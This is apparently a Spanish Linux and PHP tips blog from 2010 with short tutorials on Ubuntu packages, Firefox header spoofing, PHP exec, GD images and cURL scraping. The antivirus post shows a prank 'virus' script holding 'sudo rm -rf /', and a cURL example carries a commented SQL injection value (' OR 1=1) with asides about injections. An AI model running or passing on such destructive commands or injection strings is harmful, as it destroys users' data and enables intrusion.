Una vez descargada la imagen, la grabaremos en un CD con brasero, reiniciaremos, meteremos el CD y comenzaremos la instalación mediante un asistente. Llegaremos a la parte de las particiones y escogeremos Guiado, usar todo el disco y cifrarlo mediante LVM. No os preocupéis porque usara Ext4 y Ext2 par la instalación de GRUB (lo único que queda sin cifrar).

Una vez formateado, seguiremos las opciones y NO cifraremos nuestra carpeta personal porque sería redundante. Después de esto, terminaremos la instalación y todo volverá a la normalidad, aunque ahora, después de GRUB, nos pedirá una contraseña para poder iniciarse, haciendo de rebote, ser útil usar el auto-inicio de sesión en GNOME que explicaremos en el futuro.

Privacidad: Firefox - Modificar Cabeceras (User Agent y Referer)

2010-01-26T12:24:00.004+01:00

Hace poco hablamos sobre PHP y GD y pusimos el típico ejemplo de la imagen que muestra tu IP y tu Sistema Operativo. A petición de uno de nuestros lectores, haremos que la información que demos sea menor y no pueda ser empleada.

Un ejemplo bastante básico, es este blog, que tiene un sistema de tracking o seguimiento de visitas, gracias al cual se puede saber el país de procedencia, cómo vinieron, cuánto tiempo estuvieron y una larga lista de datos referentes al visitante del blog.

En principio no debería causar ningún problema pero hablaremos de cómo poder modificar esta información. Para ello, hoy modificaremos las cabeceras de nuestro navegador Firefox para mentir en nuestro sistema operativo y además mentir en nuestro Referer, o sitio del cual entramos a la visita.

En cualquier caso, como dije anteriormente, y es justo decirlo, emplearemos la imagen que creamos en PHP y GD, pero como seguro que muy pocos lo hicisteis, usaremos un servicio web popular que las emplea, danasoft.com

Como veréis al entrar en esa web, el pingüino nos mostrará bastante información que ni si quiera sabíamos que dábamos al entrar en un sitio.
Para acabar con ese sabelotodo, o por lo menos, ponérselo difícil, usaremos el addon, o añadido de FireFox llamado Modify Headers que instalaremos en el enlace que dí anteriormente.

Una vez añadido, reiniciaremos el navegador, y nos iremos a Herramientas > Modify Headers. Aquí, se nos abrirá una pestaña en la que pondremos lo siguiente:

Modify | user-agent | ¿Esta no te la esperabas eh?
Modify | Referer | http://fannarh.blog.is/users/c5/fannarh/img/nazi_bill_gates.jpg

Casi hemos acabado, ahora en las opiones, activaremos las dos casillas y quedará algo parecido a esto:

Modificar el Referer, es conocido como una técnica de SPAM, y como veis en mi ejemplo, he puesto la dirección de este blog. En cualquier caso, esto ayudaría a identificarnos y es todo lo contrario de lo que queremos, por eso, recomiendo poner sencillamente los datos que os he puesto o lo que queráis siempre y cuando no os identifique.

Ahora en nuestra nueva visita a la web de DanaSoft nos encotraremos con lo siguiente:

Como véis ya no aparece la parte del sistema operativo, y sobre la parte el Referer, se mostrará nuestra muy incorrecta imagen.

En nuestras próximas entregas sobre Privacidad, hablaremos de Proxys y de servicios como TOR o similares, y de cómo ponérselo difícil a la gente.

Nicotine - Descarga música en GNOME

2010-01-25T17:09:00.000+01:00

Nicotine es un cliente de descargas para la famosa red P2P usada por Soulseek. Si lo que quieres es descargar música y reemplazar esos programas cargados de publicidad como es el Kazaa, esta es tu alternativa libre.

Para instalarlo sólo hay que ejecutar el siguiente comando:

sudo apt-get install nicotine

Una vez instalado, lo ejecutaremos y se nos mostrará el menú de configuración. Si es la primera vez que usamos esta red meteremos nuestro usuario y contraseña, y si no usaremos el que ya dispongamos, no hay que registrarse. Aceptaremos y meteremos los directorios de archivos compartidos, directorio de descargas temporales y directorio de descargas finalizadas.
Una vez hecho todo esto aceptaremos, conectaremos, buscaremos los archivos que deseemos y chatearemos con los usuarios de los canales de música.

Nota: Este programa esta orientado a otros estilos musicales, tal vez haya más underground que comercial por lo que si buscas David Bisbal puede que no tengas demasiada suerte.

Linux - Añadir barra de Mac - Gnome do Docky

2010-01-24T18:30:00.000+01:00

A petición de uno de nuestros lectores hoy comentaremos como añadir la típica barra de programas al estilo de MAC OS en la que podréis ejecutar los programas y navegar entre las aplicaciones de una manera más o menos atractiva.

Para añadir la barra en GNOME, sólo hay que instalar una sencilla extensión de GNOME, la extensión DO. Para ello habrá que ejecutar el siguiente comando en un terminal:

sudo apt-get install gnome-do

Una vez instalado, iremos a Aplicaciones > Accesorios > GNOME Do , y se nos abrirá una ventana. Iremos a la zona de notificaciones o SysTray y buscaremos el icono morado de GNOME Do, pulsaremos con el segundo botón y escogeremos Preferencias.

Después daremos en la en la pestaña Apariencia y si tenemos activados los efectos de escritorio escogeremos Docky y pulsaremos sobre cerrar.

Con todo esto tendremos la barra de aplicaciones al estilo MAC.

San Ignucio - Tu nuevo profeta.

2010-01-23T08:07:00.001+01:00

Si eres de los que crees en el FSM, aquí tienes tu nueva relgión. San Ignucio, Richard Stallman, nos predica sobre el Software Libre.

PHP: Ejecutar comandos en tu linux con exec

2010-01-23T07:54:00.000+01:00

Exec, un comando muy potente en php que nos permitirá realizar tareas muy interesantes. Si quieres montar un servicio en línea y no sabes como hacerlo, este comando te salvará la vida. Puedes crear tu propio portal de vídeos, transformador de imágenes, transformador de audio, lo que quieras.

En el ejemplo de hoy, crearemos un sencillo programa que nos transformará una imagen de CD NRG a ISO , mediante el programa nrg2iso. Ponemos este ejemplo porque lanzar un servicio en línea de este tipo sería un disparate debido al tamaño gigantesco de las imágenes de CD y el tráfico que generarían.

En cualquier caso, es un buen ejemplo para ver el comando exec. En el enlace que os puse atrás, podréis instalar el programa. La utilización de este comando será muy sencilla. Como es en local, no usaremos variables del tipo $_POST o $_GET, simplemente usaremos una variable cualquiera llamada $ruta, y como nombre de la imagen usaremos $nombre, quedando algo así:

<?php
$ruta = "/home/tucuenta/";
$imagen = "nombre_imagen.";
//Transforma imagen nrg a iso en php
echo exec("nrg2iso ".$ruta.$imagen."nrg ".$ruta.$imagen."iso");
?>

Ejecutaríamos el comando, da igual la ruta, y veríamos por pantalla el resultado de la salida del terminal, del sistema operativo en el que estés. En este caso estamos trabajando bajo Linux por lo que tendríamos la imagen transformada. Esto se puede aplicar a cualquier tipo de formato y conversor, sólo necesitáis un servidor que acepte exec.

GNOME - Activar control v en el terminal.

2010-01-23T07:04:00.000+01:00

Ya casi llevamos dos meses de blog y ya sabréis todos los que me seguís como funciona aptitude, el instalador de programas. Para ahorraros trabajo, aunque se puede hacer con el ratón, explicaremos como poder hacer copia y pega con las teclas control c y control v, o las que elijamos.

Para cambiar las teclas de acceso rápido en GNOME hay que abrir un terminal y escribir lo siguiente:

gconf-editor

Seguiremos la siguiente ruta:

/ > apps > gnome-terminal > keybidings

Pulsaremos sobe paste y quitaremos del valor <Shift> , obteniendo como resultado <Ctrl>v . Cerramos y ya podemos copiar y pegar en el terminal.

Ubuntu - Alien: convertir de .rpm a .deb

2010-01-22T07:03:00.001+01:00

A la hora de usar programillas útiles nos solemos encontrar con que estos, cada día menos, están sólo disponibles en .rpm, es decir, el empaquetador de distribuciones basadas en Red Hat.

Estos paquetes, son similares a los deb, pero su sintaxis interior difiere lo suficiente como para no poder ejecutar paquetes .rpm en debian. En cualquier caso, existe una solución sencillísima, convertir los .rpm a .deb con una simple línea de comandos. El programa que emplearemos se llama Alien y para instalarlo es tan sencillo como ejecutar en un terminal lo siguiente:

sudo apt-get install alien

Una vez instalado, para usarlo, descargaremos el paquete en cuestión en formato .rpm . Un ejemplo bastante común es el del sopcast que hasta hace poco sólo venía empaquetado en rpm, aunque existe la versión para Debian que está medio escondida. En este artículo estamos hablando de Alien y para no desvirtuar, daré las dos opciones.
Primera opción, bajarse el .deb y ejecutarlo.

wget http://sopcast-player.googlecode.com/files/sp-auth_3.2.6_all.deb

Una vez descargado, iremos a nuestra carpeta de usuario y ejecutaremos el archivo .deb para instalarlo.
En la segunda opción nos bajaremos el .rpm y lo transformaremos a .deb, que para el caso, a pesar de rizar el rizo, nos valdrá como ejemplo para ver a Alien en acción.

wget http://sopcast-player.googlecode.com/files/sopcast-player-0.3.2-1.fc11.i586.rpm

Una vez descargado, escribiremos en el terminal el siguiente comando para transformar el paquete descargado en .rpm a .deb:

sudo alien -d sp-auth_3.2.6_all.deb

Por último, ejecutaremos el archivo .deb que se nos creará en la carpeta de usuario.

Ubuntu - Bajar vídeos de youtube y extraer sonido.

2010-01-21T06:29:00.000+01:00

Aunque la calidad de youtube deja mucho que desear en cuanto a audio, es sin duda, una de las mejores alternativas gratuitas para escuchar música. Además si a esto le sumamos las gran cantidad de música que hay, subida y soportada por la comunidad, podremos encontrar temas descatalogados o difíciles de descargar.

A pesar de todo esto, también hay gente que le gusta coleccionar vídeos de sus grupos, o en general de cualquier cosa graciosa para mandárselo a los amigos.
Por ello mismo, explicaremos como realizar 3 cosas bastante sencillas. Bajarnos un vídeo de youtube, pasarlo a avi y extraer el sonido de un vídeo descargado.

Descargar vídeos de youtube resulta bastante sencillo. Para ello sólo necesitaremos la dirección del vídeo, algo así, http://www.youtube.com/watch?v=ID_DEL_VÍDEO, en este caso escogeremos: http://www.youtube.com/watch?v=InZNBcJTmWs

Para descargarlo emplearemos el programa youtube-dl que instalaremos mediante el comando:

sudo apt-get install youtube-dl

Una vez instalado, procederemos a descargar el vídeo empleando el comando:

youtube-dl -o nombre.flv http://www.youtube.com/watch?v=InZNBcJTmWs

Tras la finalización de la descarga procederemos a extraer el sonido mediante el programa ffmpeg. Para instalarlo ejecutaremos en un terminal:

sudo apt-get install ffmpeg

Para finalizar, transfomaremos nuestro vídeo de youtube en audio y avi mediante respectivos comandos:

ffmpeg -i nombre.flv -f mp3 salida.mp3
ffmpeg -i nombre.flv video.avi

Listo para usar, los archivos los encontraréis en vuestra carpeta de usuario.

PHP y GD - Creando imágenes dinámicas.

2010-01-21T06:03:00.001+01:00

Hace poco hablamos de CURL y sobre su potencia. Seguiremos hablando de CURL en el futuro pero en el largo paseo que nos queda por dar en las librerías de PHP, hoy hablaremos de GD, una librería empleada para crear imágenes dinámicas como captchas o cualquier cosa entretenida.

Para instalar esta librería es tan sencillo como ejecutar en un terminal:

sudo apt-get install php5-gd

*Antes de seguir:
Nota: En esta entrega veremos por encima cosas que no hemos empleado como la variable $_SERVER. En cualquier caso haremos el típico ejemplo de hola, tu sistema operativo es, tu ip es y tu navegador pero para GNOME.
Para ello antes de empezar, descargaremos el típico cartelito del pingüino:

Lo guardáis con vuestro navegador pulsando sobre segundo botón, guardar imagen y la ponemos en el escritorio, o si lo prefieres usando el comando wget en un terminal:

wget http://2.bp.blogspot.com/_adYnwobHI2E/S1fcmI98-OI/AAAAAAAAAUA/8FfoTfPYCCI/s1600-h/basepro.png

Una vez descargado, si el nombre de la imagen es basepro.png procederemos a crear nuestra imagen dinámica, con la variable $_SERVER. Si queréis saber que contiene esta variable de tipo array, podéis usar este sencillo script:

<?php
print_r($_SERVER);
?>

Como veréis tiene gran cantidad de campos el array pero sólo usaremos unos pocos. Si usas geany para ejecutar el script te imprimirá algo bastante raro y aunque no sea el caso emplearemos estas variables para hacer la tonteria de prueba. Si lo subes a un servidor, el resultado será totalmente diferente ya que el contenido de este array sería diferente.. En cualquier caso vamos manos a la obra.

Si lo hacemos con geany escogeremos los campos GDM_KEYBOARD_LAYOUT, USER y DISPLAY para uso local y usaremos el siguiente código que guardaremos como pruebagd.php

<?php

/*
*      This program is free software; you can redistribute it and/or modify
*      it under the terms of the GNU General Public License as published by
*      the Free Software Foundation; either version 2 of the License, or
*      (at your option) any later version.
*
*      This program is distributed in the hope that it will be useful,
*      but WITHOUT ANY WARRANTY; without even the implied warranty of
*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*      GNU General Public License for more details.
*
*      You should have received a copy of the GNU General Public License
*      along with this program; if not, write to the Free Software
*      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*      MA 02110-1301, USA.
*/

   $im = imagecreatefrompng("basepro.png")or die ("No tienes instalado GD o la ruta no es valida");
   $color = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 2, 5, 5, "Hola, tu usario es: ".$_SERVER["USER"],       $color);
   imagestring($im, 2, 5, 16, "Tu teclado es en: ".$_SERVER["GDM_KEYBOARD_LAYOUT"], $color);
   imagestring($im, 2, 5, 27, "Usas el display: ".$_SERVER["DISPLAY"], $color);
   imagepng($im,"prueba.png");
   imagedestroy($im);
?>

Creamos una imagen desde archivo con imagecreatefrompng, elegimos el color del texto con, imagecolorallocate, escribimos texto con imagestring donde el primer entero es el tamaño de fuente, el segundo entero es la separación de margen o sangría y el último entero es la posición vertical.

Ejecutamos el programa, y se creará la imagen con imagepng y se destruirá para liberar memoria con imagedestroy. Como resultado obtendremos algo parecido a esto:

Como veis es bastante sencillo y es una manera rápida de aprender la librería GD que nos permitirá en el futuro realizar cosas bastante potentes.

Ubuntu - Emesene y webcam.

2010-01-20T03:14:00.001+01:00

You don't have libmimic, so you can't send or receive webcam

He encontrado otro nuevo fallo de dependencias en Ubuntu y es el caso de emesene que acepta webcam pero que no trae las librerías instaladas o en su defecto trae las que no son.

El cliente emesene usa las librerías libmimic pero como está escrito en python hay que usar python-libmimic y python-dev para su correcto funcionamiento.

Para instalarlo es tan sencillo como ejecutar en un terminal lo siguiente:

sudo apt-get install python-libmimic python-dev

Una vez instalado, reiniciamos el programa y ya tendremos nuestro emesene usando webcam, problema resuelto.

Internet - Dominios y WHOIS

2010-01-17T02:47:00.001+01:00

El WHOIS de los dominios de internet o ciertas IP, nos sirve para identificar quién o que empresa está detrás de un dominio. Para obtener esta información es muy sencillo. Hay webs que nos mostrarán esta información mucho más bonita pero lo más útil, libre de publicidad y fácil es abrir un terminal y escribir:

whois example.com
whois 127.0.0.1

Ya sabéis, si creéis que algo es un viral o es falso, comprobar el dueño del dominio y sabrás si todo anda bien.

Compiz-Fusión - Lo que debes saber.

2010-01-15T23:07:00.004+01:00

Compiz fusión es la unión entre los proyectos Beryl y Compiz. Es un gestor de ventanas con grandes efectos y muy configurable. Tiene bastantes problemas con tarjetas ATi y el driver privativo pero es lo de menos.

Si a veces te funcionan los juegos lentos, o obtienes un parpadeo horrible en tus vídeos y flashes, deberías saber que parte de la culpa la tiene compiz. En cualquier caso, veremos como activarlo, como usarlo, y sobre todo cuando desactivarlo para ganar rendimiento.

Para empezar, nos saltaremos el paso para saber si tienes aceleración gráfica. Se supone que sí, ya sea libre o privativa, ya hablaremos de este tema en futuras ediciones. Para activar Compiz es tan sencillo como ir a

Sistema -> Preferencias -> Apariencia

Pulsaremos sobre Efectos Visuales y escogeremos la opción Extra. Si todo ha salido bien y no ha dado error tendremos activado el Compiz básico, es decir, efectos al maximizar y mover ventanas, barra de títulos de ventana transparente y explosión de los lanzadores de aplicaciones al pulsar sobre ellos.

LEER SÓLO SI TIENES PROBLEMAS
CON EL VÍDEO

Las tarjetas ATi tienen bastante problemas en este aspecto. Para poder reproducir vídeo decentemente, hay varias opciones. Si usas Totem como reproductor de vídeos para arreglaro tendrás que usar ejecutar en un terminal:

gstreamer-properties

Se te abrirá un panel con opciones y tendrás que escoger en el Vídeo, el complemento X Video sin Xv que se utiliza para acelerar las películas.

Si usas VLC tendrás que ir a Herramientas y elegir preferencias. En el menú de opciones escogeremos Vídeo salida de vídeo X11.g

Con esto solucionarás tus problemas de parpadeos o reproducción lenta de vídeos aunque es una solución bastante mala.

CUANDO USAR COMPIZ

Nadie niega que usar Compiz es agradable pero en realidad no aporta demasiado , sólo malgastas recursos del CPU. Por ello mismo, recomiendo que se use compiz cuando estés realizando tareas de trabajo, es decir, programando, escribiendo documentos, leyendo el correo, navegando. No es nada recomendable usarlo cuando veas flash, vídeos o juegues, ya que tu rendimiento gráfico descenderá bastante a no ser que tengas un señor ordenador.

Por ello mismo os invito a que instaléis el botón compiz icon, que resulta bastante discreto, no ocupa casi recursos y en un par de clicks nos permitirá pasar de Metacity (el bueno) a Compiz (el bonito). Para instalarlo sólo tendréis que ejecutar en un terminal lo siguiente:

sudo apt-get install fusion-icon

Se nos creará un acceso directo en

Aplicaciones ->Herramientas del Sistema -> Compiz Fusion Icon

En el SysTray o barra de información de aplicaciones nos aparecerá una caja azúl con un puntero y pulsando con el botón derecho sobre ella podremos elegir si usar Compiz o Metacity en Select Windows Manager.

Por último y por comodidad recomiendo añadir que se ejecute la aplicación al inicio para no tener que estar abriéndola todo el rato. Para ello iremos a

Sistema -> Preferencias -> Aplicaciones al Inicio

Pulsaremos sobre añadir y rellenaremos los campos con la siguiente información:

Nombre: Compiz Icon
Orden: fusion-icon --no-start
Comentario: Inicia el icono de Compiz

Pulsaremos sobre aceptar, lo activaremos en su casilla y cerraremos. Esto hará que se inicie el botón al Systray cada vez que iniciemos sesión.

En resumen, si vas a jugar a un juego o ver una película, activa MetaCity, si vas a navegar o trabajar, activa Compiz y por último, si quieres fardar de Linux ante los amigos, lee el siguiente punto.

COMPIZ FUSION EN TODO SU ESPLENDOR

Si lo que quieres es tener todas las chorraditas y fardar en vídeos de youtube, lo que tienes que hacer es instalar las opciones de Compiz y emerald. Para ello ejecuta en un terminal:

sudo apt-get install compizconfig-settings-manager emerald

En el mismo menú de compiz fusión podrás escoger emerald como gestor de ventanas y en las opciones de Compiz podrás usar todo tipo de complementos chorras para matar tu profundo aburrimiento. También si quieres puedes añadir más efectos aún bajándotelos de Gnome Look, sección Compiz -> enlace

Optimización - Eliminación de servicios no necesarios.

2010-01-15T08:12:00.001+01:00

En cualquier sistema operativo suelen haber servicios o demonios que no hacen falta como por ejemplo el de BlueTooth o el gestor de energía cuando estamos en una estación de trabajo fija y sin BlueTooth.

Para listar todos los procesos y ver cuales tenemos sólo hay que ejecutar en un terminal el siguiente comando:

cd /etc/init.d/
ls

Nos aparecerá una lista con todos los procesos que tenemos activados activados o no. Para desactivarlos solo tendremos que ejecutar:

sudo chmod -x nombre

Algunos de los procesos que suelen ser prescindibles son, bluetooth, laptop-mode(usar en portatiles), speech-dispatcher, pcmcia, ppp, rsync, fetchmail y postfix.

Apagado de seguridad - Linux también se cuelga.

2010-01-15T04:56:00.001+01:00

Últimamente llevo trasteando mucho con wine y he conseguido que el sistema se cuelgue bastante. El caso es que apagar a capón cualquier sistema operativo es malo aunque los archivos gracias a EXT estén lo más protegidos posibles.

En cualquier caso, si no quieres saber lo que es un Kernel Panic, mejor que te aprendas esta nomenclatura cuando se cuelgue tu ordenador: RSEIUB

Gracias a Magic SysRq podremos ejecutar operaciones en el Kernel aunque no responda nada. Para ello pulsaremos alt + imprimir pantalla y pulsaremos las teclas RSEUIB que hacen:

* R devuelve el control al teclado.
* S sincroniza.
* E manda a los procesos la señal term.
* I manda a los procesos la señal kill.
* U desmonta los sistemas de ficheros.
* B reinicia el sistema.

Truquito de la vieja escuela ;)

Juegos Linux - Net Panzer

2010-01-15T02:46:00.000+01:00

NetPanzer es un gran juego venido a menos pero que sin duda aún puede darnos sus horas de diversión. Su funcionamiento es sencillo, tienes una flota de tanques y tienes que capturar más fábricas para poder producir más flotas y conquistar más. Es multijugador por lo que en una partida podrá haber más de 8 o 10 personas luchando por la conquista.

Para instalarlo, solo tienes que escribir en un terminal:

sudo apt-get install netpanzer

Una vez instalado, recomiendo que se ponga en las opciones el modo ventana y configuremos los controles a nuestro gusto, sobre todo los del chat aunque principalmente es un juego de ratón.

Los gráficos son bastante buenos y el sonido es muy real. Es complicado de ganar al principio porque hay viejos dinosaurios jugando desde hace tiempo pero sin duda es un juego para echarse unas risas durante 10-20 minutos.

La dinámica de las partidas son bastante interesantes, existe un límite de tanques y además pueden entrar y salir gente del juego en momentos avanzados de la partida lo que hace que sea muy complicado mantener los territorios, es pura estrategia.

Probad y disfrutad!

Cine - Parte 2 (PreHackers)

2010-01-15T02:38:00.000+01:00

Los Prehackers o hackers de teléfonos fueron los pioneros del hacking. En ediciones anteriores hablamos sobre la Ingeniería Social y sobre sus principios. Sin duda es un tema muy interesante por lo que os he traído este documental que reúne a 3 de los grandes, uno de ellos fundador de Apple por lo que recomiendo su visualización.

Linux - AntiVirus

2010-01-15T02:03:00.001+01:00

A petición de uno de nuestros lectores proceredemos a hablar sobre los virus en Linux y por supuesto de los antivirus.

Hoy en día la existencia de virus en Linux es muy muy baja por no decir casi inexistente ya que normalmente los virus se suelen aprovechar de fallos de seguridad en las aplicaciones. Como el Software Libre tiene muchos ojos, el número de fallos es pequeño y además se corrigen rápido.

No se puede afirmar que no existen virus en linux ya que se están dando casos, pero no son nada alarmantes. El principal problema que se encuentran los programadores de virus es que hay un montón de distribuciones, con un montón de configuraciones y comandos diferentes. Realmente podría crearse el virus pero de ahí ha esparcirlo mundialmente hay un trecho.

Por todo esto resulta bastante complicado crear un virus para Linux aunque actualmente Mac está siendo objetivo de nuevos virus debido a que su uso se esta popularizando. Esto podría llegar también para las distribuciones basadas en Debian como Ubuntu que podría ser el principal objetivo de estos virus.

En cualquier caso pese a que existen pocos virus para Linux, ys existen AntiVirus libres y privativos gratuitos ambos, que se ejecutan en demanda, es decir, no tienen protección continua por lo que no recomiendo su instalación.

Pero por si acaso y si utilizas wine te invito a que lo instales ya que gracias a este popular programa algunos virus que jamás podrían funcionar en Linux se están ejecutan aunque el daño que podrían realizar es bastante limitado.

Además también hay que mencionar que para hacer realmente daño hay que tener permisos de super usuario por lo que se hace complicado tener éxito. Pese a todo esto, aquí traemos nuestro primer Virus para linux (por llamarlo de alguna manera) que podríamos crear. Sería el típico ejecutable que le mandas a un amigo llamado QueMajoSoy.sh que contuviera la siguiente línea:

#NO LO EJECUTES GAÑAN
sudo rm -rf /
#NO LO EJECUTES GAÑAN

Este script tan sencillo borraría todas las carpetas del sistema. Nunca lo he probado aunque seguramente sea una leyenda urbana. En cualquier caso la sintaxis dicta que ese comando ejecutado con permisos de usuario root eliminará todos los archivos del sistema a la fuerza y recursivamente.

ANTIVIRUS

Aunque ningún antivirus te salve de eso, como este es un post sobre AntiVirus hablaremos de ClamAv que es Software Libre. Los que usemos Gnome ejecutaremos en un terminal:

sudo apt-get install clamav

Listo ya tendremos nuestro antivirus que analizará nuestro disco y archivos cuando se lo pidamos.

PHP y Curl - Curling the nation

2010-01-15T01:38:00.001+01:00

Curl es una librería en PHP que emplearemos bastante en este blog para hacer peticiones a cualquier tipo de protocolo, entre ellos, FTP, FTPS, HTTP, HTTPS, TFTP, SCP, SFTP, Telnet,DICT, FILE y LDAP.

También soporta certificados HTTPS, HTTP POST, HTTPPUT, subidas FTP, Kerberos, subidas mediante formulario HTTP, proxies,cookies, autentificación mediante usuario+contraseña (Basic, DIgest, NTLMy Negotiate para HTTP y kerberos4 para FTP), continuación detransferencia de archivos, tunneling de proxy http y muchas otrasprestaciones lo que lo convierte en la auténtica navaja suiza.

Nosotros usaremos Curl con PHP aunque se puede trabajar como programa en un terminal pero no cumple los requisitos que nosotros queremos ya que mediante PHP podremos limpiar el resultado y manejarlo a nuestro antojo.

INSTALACIÓN

Primero de todo tienes que tener php5 y php5-cli para programar, compilar y ejecutar. Esto quedó explicado en ediciones anteriores. En cualquier caso para instalar curl ejecutaremos en un terminal:

sudo apt-get install php5-curl

Una vez instalado abriremos nuestro IDE favorito, en nuestro caso Geany y procederemos a crear nuestro primer programa de prueba.

<?php
    $ch = curl_init('http://www.example.com');//Dirección
    //curl_setopt ($ch, CURLOPT_POST, 1);//Para Enviar POST
    //curl_setopt ($ch, CURLOPT_POSTFIELDS, "usuario=peter&contra=hola");//Define usuario y contraseña
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //Para guardar en variable la salida
    $salida= curl_exec ($ch);//Guardamos la salida en una variable
    curl_close ($ch);//Cerramos conexión
    echo $salida;
?>

Muy bien, he comentado el código para que aprendáis el funcionamiento básico. Las opciónes de POST están comentadas pues no se usarán de momento pero es útil tenerlas a mano para cuando queramos intentar INYECCIONES.

El script abre la página example.com e imprime su código fuente. Si lo ejecutamos a través de servidor se verá la página y si lo ejecutamos a través del IDE se verá el código fuente.

DESCARGARSE TODA LA WIKIPEDIA

Conseguir la WikiPedia por la cara es un ejemplo bastante sencillo pero realmente muestra la potencia de esta librería por eso os lo enseñamos. Para ello crearemos un sencillo script para bajarnos la WikiPedia entera a modo de buscador primitivo mediante la función especial del la wiki aleatoria.
Para ello creamos una carpeta llamada Enciclopedia y guardamos nuestro copypaste.php que contendrá:

<?php
/*
*      This program is free software; you can redistribute it and/or modify
*      it under the terms of the GNU General Public License as published by
*      the Free Software Foundation; either version 2 of the License, or
*      (at your option) any later version.
*
*      This program is distributed in the hope that it will be useful,
*      but WITHOUT ANY WARRANTY; without even the implied warranty of
*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*      GNU General Public License for more details.
*
*      You should have received a copy of the GNU General Public License
*      along with this program; if not, write to the Free Software
*      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*      MA 02110-1301, USA.
*/
    while (true){//Bucle infinito!
        $ch = curl_init('http://es.wikipedia.org/wiki/Especial:Aleatoria');
        //curl_setopt ($ch, CURLOPT_POST, 1);
        //curl_setopt ($ch, CURLOPT_POSTFIELDS, "contraseña='OR 1=1");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//Para que siga las redirecciones.
        $salida = curl_exec ($ch);
        curl_close ($ch);
        //Cogemos el título con expresión regular
        preg_match("/(\<title>)(.)*(\<\/title>)/i", $salida, $resultados);
        //Limpiamos el titulo para guardarlo
        $nombre = $resultados[0];
        $nombre = str_replace("<title>", "",$nombre);
        $nombre = str_replace("- Wikipedia, la enciclopedia libre</title>", "",$nombre);
        $nombre = str_replace(" ","_",$nombre);
        $nombre = $nombre.".html";
        if (!file_exists($nombre)){//No existe el archivo
            //Quitamos gran parte de información basura
            $salida = explode('<div id="content">',$salida);
            $salida = '<div id="content">'.$salida[1];
            $salida = explode('<div class="printfooter">',$salida);
            $salida = $salida[0];
            //Guardamos
            $fp = fopen($nombre, 'w');
            //Cabeceras para que no aparezcan códigos raros
            fwrite($fp,'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
            <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es" dir="ltr">
            <head>
            <title>'. str_replace("_"," ",$nombre).'</title>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />');
            fwrite($fp, $salida);
            fwrite($fp,"</html>");
            fclose($fp);
        }
    }
?>

Ejecutamos, lo dejamos días y se nos baja la wikipedia entera :)

DESCARGARSE TODO XKCD

XKCD es un WebComic muy popular, su construcción de URLS es muy sencilla por lo que nos puede resultar bastante sencillo. Para ello crearemos el archivo xkcd.php que contendrá:

<?php
/*
*      This program is free software; you can redistribute it and/or modify
*      it under the terms of the GNU General Public License as published by
*      the Free Software Foundation; either version 2 of the License, or
*      (at your option) any later version.
*
*      This program is distributed in the hope that it will be useful,
*      but WITHOUT ANY WARRANTY; without even the implied warranty of
*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*      GNU General Public License for more details.
*
*      You should have received a copy of the GNU General Public License
*      along with this program; if not, write to the Free Software
*      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*      MA 02110-1301, USA.
*/
    for ($i=1; $i<=688; $i++){//Numero de comics
        $ch = curl_init('http://xkcd.com/'.$i);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//Para que siga las redirecciones.
        $salida = curl_exec ($ch);
        curl_close ($ch);
        preg_match("/(http:\/\/imgs.xkcd.com\/comics\/)(.)*(\")/i", $salida, $resultados);
        $imagen = $resultados[0];
        $imagen = explode('"',$imagen);
        $imagen = $imagen[0];
        $ch = curl_init($imagen);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//Para que siga las redirecciones.
        $salida = curl_exec ($ch);
        curl_close ($ch);
        $imagen = str_replace("http://imgs.xkcd.com/comics/","",$imagen);
        $fp = fopen($imagen, 'w');
        fwrite($fp, $salida);
        fclose($fp);
        echo "guardado ".$i."\n";

    }
?>

OTRAS OPCIONES

Curl tiene muchas opciones, hemos visto algunas de ellas, pero aquí tenéis el ARRAY completo con todas las opciones.

$options = array(
CURLOPT_RETURNTRANSFER => true, //Devuelve la transferencia a la variable
CURLOPT_HEADER => true, //Envia las cabeceras
CURLOPT_FOLLOWLOCATION => false, //Acepta redirecciones
CURLOPT_ENCODING => "", //Codificacion
CURLOPT_USERAGENT => "Mi Navegador; Mi Sistema Operativo!!)",
CURLOPT_AUTOREFERER => true,
CURLOPT_CONNECTTIMEOUT => 120,
CURLOPT_TIMEOUT => 120,
CURLOPT_MAXREDIRS => 10,
CURLOPT_POST => 2,
CURLOPT_POSTFIELDS => "$postfields", // datos post
CURLOPT_COOKIEFILE => "cookies.txt", // de donde leer cookies anteriormente guardadas
CURLOPT_COOKIEJAR => "cookies.txt" // en donde guardar cookies
);

Ya sabéis, esto tiene muchísimas aplicaciones. Podéis hacer desde un navegador en PHP ha un cliente FTP pasando por actividades más divertidas como búsqueda y explotación de fallos.

Ubuntu - Quitar sonido inicio de sesión.

2010-01-13T02:16:00.000+01:00

Normalmente cuando empleamos un portátil solemos llevarlo a sitios bastante dispares. Cuando es un sitio donde se necesita silencio como una biblioteca o en medio de clase, el sonido de inicio de sesión puede resultar bastante molesto. Sin duda este sonido fue de gran utilidad cuando los ordenadores iban a pedales y uno se iba a tomar un café esperando escuchar el sonido que marcaba que ya estaba listo su PC. Esta es su verdadera utilidad pero actualmente los sistemas operativos cargan bastante rápido y este sonido se hace innecesario

Por ello mismo si lo que queremos es quitar este sonido del pasado, tendremos que ir a Sistema > Preferencias > Aplicaciones al inicio

Aquí buscaremos Gnome Login Sound y lo desactivaremos.

Cerramos y ya está. La próxima vez que iniciemos sesión no escucharemos nada y encima iniciará más rápido.

Linux - Borrar kernels antiguos

2010-01-13T02:00:00.001+01:00

